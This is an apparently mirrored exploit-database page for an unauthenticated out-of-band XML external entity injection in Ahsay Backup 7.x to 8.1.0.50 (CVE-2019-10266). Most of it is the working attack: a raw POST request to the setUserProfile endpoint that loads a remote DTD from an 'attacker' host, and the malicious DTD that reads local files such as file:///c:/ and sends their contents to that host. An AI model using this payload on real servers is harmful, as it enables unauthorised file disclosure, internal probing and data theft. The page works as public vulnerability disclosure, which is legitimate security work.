Ahsay backup 7.x 8.1.1.50 xml external entity injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-07-26 | Type : webapps | Platform : jsp
This exploit / vulnerability Ahsay backup 7.x 8.1.1.50 xml external entity injection is for educational purposes only and if it is used you will do on your own risk!

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# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50.
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
# Version: 7.x < 8.1.0.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10266

#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263

Sending the following POST request will trigger the XXE:

POST /obs/obm8/user/setUserProfile HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 126
Host: 172.16.238.213:80

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>

On http://attacker/oob add the following content:

<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37;
trick SYSTEM 'file://:%payl;/%payl;'>">

Here it is possible to change file:///c:/ to any directory/file or internal host.